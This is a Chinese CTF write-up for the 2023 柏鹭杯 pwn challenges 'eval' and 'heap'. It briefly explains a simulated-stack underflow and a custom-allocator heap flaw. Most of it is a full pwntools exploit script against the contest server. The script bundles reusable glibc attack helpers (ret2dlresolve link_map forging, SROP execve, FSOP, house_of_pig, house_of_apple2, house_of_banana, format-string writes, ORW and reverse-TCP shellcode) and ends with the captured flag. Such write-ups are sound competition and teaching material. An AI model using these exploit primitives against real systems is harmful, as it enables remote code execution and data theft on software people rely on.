2023柏鹭杯pwn wp
PWN
eval
漏洞点
对数组模拟栈的那个栈顶没做下溢校验,先输入符号可以构成溢出点
+200/2+(target_offset - 100)
这样输入即可将栈顶迁移到任意位置
难点
需要逆向整个模拟栈的结构
可以配合动态调试得出模拟栈结构
addr+0 0
addr+1 符号位
addr+2 0
addr+3 栈顶偏移
addr+4 第一个数
addr+5 第二个数
通过处理符号进行运算的时候,会导致addr+3 -= 1,将原本应该填在addr+4的数填在了addr+3即可完全控制offset,进而控制任意位置读写
heap
漏洞点
对小堆块(≤0x80)大小的堆块管理有问题,没有进行pre位置(+0x18)的有效校验,进而可以控制任意位置读写,但要注意会写入0x28的头部
远程FLAG加载进了环境变量位置,通过泄露_IO_2_1_stdout_(bss区)获得libcv版本,再申请libc中__environ处,判断是否能泄露出0x7fffxxxxxx的值判断合适的libc版本,最后申请到存储环境变量字符串处的内存,然后多次尝试泄露出FLAG环境变量的值即可。(RIP挟持不了,栈内距离小于0x28,申请会覆盖上个返回地址,导致Segment fault)
难点
需要逆向整个他自己写的malloc和free函数以及堆块结构,比较复杂,逆了老半天,感觉在看源码 🤨
EXP
需要进行多次操作(4次)比较复杂
from pwn import *
from pwncli import gift
import ctypes
context.terminal = ["tmux","splitw","-h"]
# context.log_level = "debug"
context.arch = "amd64"
filename = "./pwn"
libc_name = "./libs/libc6_2.31-0ubuntu9.10_amd64.so"
remote_ip = "8.130.115.205"
remote_port = "20199"
libc = ELF(libc_name)
mode = 1
s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename)
def bpp():
gdb.attach(p)
pause()
def log(x):
print("\x1B[36m{}\x1B[0m".format(x))
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # fake_linkmap_addr指向一段可控内存 | known_func_ptr指向一个已知的函数的got表地址 | offset是system函数和这个函数在libc上的偏移
# &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1)) #l_addr
# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址
# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行
linkmap += p64(0)#l_ns
# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap
def orw_shellcode():
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)
return payload
def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): # ->可能需要具体问题具体分析
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0) # rbx be 0x0
payload += p64(1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += b'A' * 56 # junk 6 * 8 + 8 = 56
return payload
def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))
def fmlstr(offset1, offset2, chain2, target, prefix): # partial write
for i in range(8):
if (target&0xff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 8
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')
def fmlstr2(offset1, offset2, chain2, target, prefix): # partial write
for i in range(4):
if (target&0xffff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 16
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')
def SROP(rdi, rsp, rip):
signframe = SigreturnFrame()
signframe.rax = constants.SYS_execve
signframe.rdi = rdi
signframe.rsi = 0x0
signframe.rdx = 0x0
signframe.rsp = rsp
signframe.rip = rip
return bytes(signframe)
def FSOP(fake_vtable_addr):
# only in glibc 2.23
# 2.23+ vtable有范围校验 此时不如别的打法好打
# 触发方式只要能出发_IO_overflow即可(其实有关IO流的只要经过vtable应该都能打)
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.flags = 0x68732f6e69622f # /bin/sh\x00
fake_IO_FILE.vtable = fake_vtable_addr
IO_FILE = bytes(fake_IO_FILE)
return IO_FILE
def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr):
# 2.34之前仍能用house_of_pig打,2.34之后各种hook函数被弄掉了 不过可以看看house_of_pig_plus
# 原理:只要能跑到_IO_oveflow就会跳转到_IO_str_overflow然后就会malloc->memcpy->free /||gadget
# 尽量申请free_hook - 0x20然后利用_IO_save_base + _IO_backup_base来处理memcpy那部分
"""
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
new_buf = malloc (new_size); # 计算好申请出来
memcpy (new_buf, old_buf, old_blen); #覆盖(
free (old_buf);
"""
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_str_jumps
fake_IO_FILE._IO_buf_base = bin_addr
fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2)
fake_IO_FILE._IO_save_base = system_addr
fake_IO_FILE._IO_backup_base = system_addr
return bytes(fake_IO_FILE)
def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
"""
调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
"""
# main
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x68732020
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_wfile_jumps
fake_IO_FILE._wide_data = wide_data_entry
fake_IO_FILE = bytes(fake_IO_FILE)
# wide_data 这里只要控制vtable即可
pad = p64(0) * 36
pad += p64(wide_data_vtable_entry)
# wide_data_vtable
"""_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C"""
payload = p64(RIP)*0x10
return (fake_IO_FILE, pad, payload)
def house_of_banana(fake_addr, l_next, gadget, count):
fake_content = p64(0) + p64(0) # l_addr keep zero to array
fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content = fake_content.ljust(0x48, b'\x00')
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called
return fake_content
"""pwncli"""
def reverse_tcp():
from pwncli import ShellcodeMall
reverse_tcp = ShellcodeMall.amd64.reverse_tcp_connect(ip="127.0.0.1", port=10001)
return reverse_tcp
# gadgets
"""
from pwncli import CurrentGadgets, gift
gift['elf'] = ELF("./pwn")
gift['libc'] = ELF()
CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
pop_rdi_ret = CurrentGadgets.pop_rdi_ret()
execve_chain = CurrentGadgets.execve_chain(bin_sh_addr=0x11223344)
"""
# libc search
"""
from pwncli import LibcBox
libc_box = LibcBox()
libc_box.add_symbol("system", 0x640)
libc_box.add_symbol("puts", 0x810)
libc_box.search(download_symbols=False, download_so=False, download_deb=True) # 是否下载到本地
read_offset = libc_box.dump("read")
"""
# onegadgets
"""
from pwncli import get_current_one_gadget_from_libc
# 获取当前装载的libc的gadget
all_ogs = get_current_one_gadget_from_libc()
"""
prefix = "4. show"
def add(size):
sla(prefix, b'1')
sla("size: ", str(size))
def delete(index):
sla(prefix, b'2')
sla("index: ", str(index))
def edit(index, payload):
sla(prefix, b'3')
sla("index: ", str(index))
sa("data: ", payload)
def show(index):
sla(prefix, b'4')
sla("index: ", str(index))
def exit():
sla(prefix, b'5')
add(0x20)
add(0x500)
add(0x500)
add(0x20)
delete(1)
delete(2)
edit(0, b'a'*0x31)
show(0)
magic = u64(rl()[-7 -8 +1:-1-8+2].rjust(8, b'\x00'))
log(hex(magic))
# bpp()
edit(0, b'a'*0x40)
show(0)
leak_heap = leak()
log(hex(leak_heap))
heap_base = leak_heap - 0x590
log(hex(heap_base))
edit(0, b'a'*0x48)
show(0)
leak_elf = rl()
log((leak_elf))
leak_elf = ((u64(leak_elf[-7:-1].ljust(8, b'\x00'))))
log(hex(leak_elf))
elf_base = leak_elf - (0x564a5b203060 - 0x564a5b000000)
log(hex(elf_base))
edit(0, flat([
b'a'*0x30,
magic,
p64(0x510aaaaaaaa),
leak_heap,
leak_elf,
]))
add(0x600)
add(0x20)
delete(1)
delete(0)
delete(2)
delete(3)
""""""
add(0x20)
add(0x40)
add(0x60)
add(0x20)
add(0x20)
add(0x20)
delete(4)
delete(3)
edit(2, flat([
b'a'*0x71
]))
show(2)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))
edit(2, flat([
b'a'*0x70,
magic,
p64(0x30aaaaaaaa),
heap_base + 0x1248,
elf_base + 0x203078
]))
add(0x60)
add(0x50)
show(4)
leak_libc = leak()
log(hex(leak_libc))
libc_base = leak_libc - libc.sym['_IO_2_1_stdout_']
log(hex(libc_base))
environ = libc_base + libc.sym['__environ']
log(hex(environ))
add(0x80) # 6
add(0x60)# 7
add(0x20) # 8
delete(7)
edit(6, flat([
b'a'*0x91
]))
show(6)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))
edit(6, flat([
b'a'*0x90,
magic,
p64(0x70aaaaaaaa),
heap_base + 0x1448,
environ - 0x28
]))
add(0x60)
add(0x60)
log(hex(environ))
show(9)
raw = leak()
log(hex(raw))
backdoor = elf_base + 0xEAD
ret_addr = raw - (0x7ffca6599568 - 0x7ffca6599448) + 0xf0 -0xd0
log(hex(ret_addr))
add(0x60) #10
add(0x60) #11
add(0x20)
delete(11)
edit(10, flat([
b'a'*0x71
]))
show(10)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))
edit(10, flat([
b'a'*0x70,
magic,
p64(0x70aaaaaaaa),
heap_base + 0x15d0,
raw - 0x28 - 0x28
]))
add(0x60)
log(hex(raw))
add(0x60)
# add(0x60)
# bpp()
edit(13, flat([
b'a'*0x18
]))
show(13)
flag_path = leak()
log(hex(flag_path))
"""final"""
add(0x60) #14
add(0x60) #15
add(0x20)
delete(15)
edit(14, flat([
b'a'*0x71
]))
show(14)
magic = u64(rl()[-7 -8 +2:-1-8+3].rjust(8, b'\x00'))
log(hex(magic))
edit(14, flat([
b'a'*0x70,
magic,
p64(0x70aaaaaaaa),
heap_base + 0x15d0,
flag_path - 0x28 + 0x30 + 100
]))
add(0x60)
# bpp()
add(0x60) ###
show(17)
# raw = rl()
# log(raw)
# bpp()
# bpp()
ia()
"""
E=/root
abb1
r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
flag{ISEC-f140f382117c6c52cb3a3221e747e530}
"""